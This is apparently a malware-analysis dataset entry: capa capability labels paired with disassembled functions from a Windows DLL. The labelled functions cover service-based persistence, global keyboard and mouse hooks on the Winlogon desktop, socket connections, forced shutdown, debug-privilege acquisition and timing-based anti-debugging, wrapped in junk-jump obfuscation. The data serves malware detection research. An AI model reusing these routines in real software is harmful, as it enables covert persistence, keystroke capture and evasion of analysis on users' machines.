joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003110
Capabilities:
Create service
Persist via windows service

Disassembly:
das
add byte [eax], dl
bound ebp, qword [edi]
add byte [eax], dl
xchg esp, eax
das
add byte [eax], dl
lodsd eax, dword [esi]
das
add byte [eax], dl
jnp 0x10003102
add byte [eax], dl
fild qword [edi]
add byte [eax], dl
clc
das
add byte [eax], dl
adc dword [eax], esi
add byte [eax], dl
clc
das
add byte [eax], dl
xchg ecx, eax
xor byte [eax], al
adc byte [ecx + 0x62100030], dl
das
add byte [eax], dl
bound ebp, qword [edi]
add byte [eax], dl
daa
xor byte [eax], al
adc byte [0x53100030], bh
xor byte [eax], al
adc byte [ecx + 0x62100030], dl
das
xor byte [eax], al
adc byte [edx + 0x2f], ah
add byte [eax], dl
int3
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000312a
jae 0x100030c2
xor dword [eax + 0x6a], ebx
add byte [edx], ch
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003163
xor eax, eax
jmp 0x10003172
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003180
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
add byte [edx], ch
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000319a
jae 0x10003132
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100031bb
xor eax, eax
jmp 0x100031d9
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100031f0
Capabilities:
Start service

Disassembly:
or al, 0x50
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 0x48], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000320a
jae 0x100031a2
xor dword [eax - 0x3a], ebx
inc ebp
mov esp, 0xfb900
add byte [eax], al
pop eax
mov byte [ebp - 0x44], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
push str.._s
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
Function at 0x10003290
Capabilities:
Stop service

Disassembly:
add byte [eax], al
add al, al
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000325d
xor eax, eax
jmp 0x1000327c
cmp dword [ebp + 0xc], 0
je 0x1000326d
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x10003277
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
xor eax, eax
xor eax, eax
je 0x100032aa
jae 0x10003242
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100032cb
xor eax, eax
jmp 0x100032eb
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003300
Capabilities:
Delete service
Stop service

Disassembly:
or al, 0x50
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000331a
jae 0x100032b2
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000333b
xor eax, eax
jmp 0x10003355
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003360
Capabilities:
Delete service

Disassembly:
test byte [ebx], al
add byte [eax], al
add byte [ebx - 0x67], dh
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000337a
jae 0x10003312
xor dword [eax + 0x68], ebx
aas
add byte [edi], cl
add byte [edx], ch
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 8]
call fcn.10003290
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
call fcn.10003300
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100036e0
Capabilities:
Shutdown system

Disassembly:
sal byte [edx + edx - 0x73], 0x95
in al, dx
invalid
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
xor eax, eax
xor eax, eax
je 0x100036fa
jae 0x10003692
xor dword [eax - 0x39], ebx
inc ebp
in al, 1
add byte [eax], al
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetCurrentThread
pop eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 2
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 0x20]
push eax
push 1
push 0x20
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]

Function at 0x10003790
Capabilities:
Shutdown system

Disassembly:
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], 0
je 0x10003771
push 4
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000377b
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x100123a4
push eax
xor eax, eax
xor eax, eax
je 0x100037b1
jae 0x10003749
xor dword [eax - 0x75], ebx
dec ebp
cld
pop eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [edx + 8], 0
mov ecx, 0x41
xor eax, eax
mov edi, dword [ebp - 4]
add edi, 0xc
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x110], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005cf0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
jl 0x10005ca0
invalid
invalid
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10005d07
jae 0x10005c9f
xor dword [eax - 0x39], ebx
inc ebp
clc
add byte [esi + 5], bl
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005d4e
xor eax, eax
jmp 0x10005df0
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005d71
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005d9e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
Function at 0x10006160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
invalid
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000617a
jae 0x10006112
xor dword [eax + 0x66], ebx
mov dword [ebp - 0x10], 0xc0330000
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10006270
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x10006208
xor eax, eax
jmp 0x10006357
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x100062b7
xor eax, eax
jmp 0x10006357
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100062e2
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000631b
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10006351
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006450
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
or al, 0xc7
test dword [eax - 1], ebp
invalid
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000646a
jae 0x10006402
xor dword [eax - 1], ebx
adc eax, sym.imp.KERNEL32.dll_GetCurrentProcess
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011430
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x1000650f
jl 0x10006503
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x1000650f
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100064f1
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011430
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009070
Capabilities:
Create thread
Set global application hook

Disassembly:
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
cmp dword [0x10015c14], 0
je 0x1000903b
mov eax, dword [0x10015c14]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x100146d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100146dc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009087
jae 0x1000901f
xor dword [eax + 0x6a], ebx
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146d8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146dc], eax
push 0
push 0
push 0x10009680
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090f5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10009119
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008d20
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x1000913d
push 0
mov edx, dword [0x10014894]
push edx
push 0x10008c40
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
Function at 0x100091a0
Capabilities:
Set global application hook
Write file on windows

Disassembly:
add dword [eax], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009164
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10009188
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008f30
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x100091b7
jae 0x1000914f
xor dword [eax + 0x6a], ebx
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100091e1
xor eax, eax
jmp 0x10009229
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a020
Capabilities:
Read file on windows

Disassembly:
push 0x1044
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1044
mov edx, dword [ebp + 8]
push edx
call fcn.10009e10
add esp, 8
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a03a
jae 0x10009fd2
xor dword [eax - 0x3a], ebx
test esp, ebp
cld
invalid
pop eax
mov byte [ebp - 0x314], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x210], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
push 0x100144e8
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000a0d4
xor eax, eax
jmp fcn.1000a153
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10c]
add ecx, eax
mov dword [ebp - 0x10c], ecx
push 0x3b
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a11e
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
Function at 0x1000a160
Capabilities:
Query or enumerate registry value

Disassembly:
add dword [eax], edx
lea ecx, [ebp + eax - 0x314]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x10c]
mov esi, dword [ebp - 0x10c]
mov edi, dword [ebp + 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10c]
mov ecx, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a17a
jae 0x1000a112
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a1ab
xor eax, eax
jmp 0x1000a23e
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a205
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a23e
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a239
xor eax, eax
jmp 0x1000a23e
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a2e0
Capabilities:
Acquire debug privileges

Disassembly:
inc eax
add byte [eax], al
add byte [ebx], dh
ror byte [ebp - 0x10643], 0xff
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a2f7
jae 0x1000a28f
xor dword [eax - 0x73], ebx
inc ebp
in al, dx
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]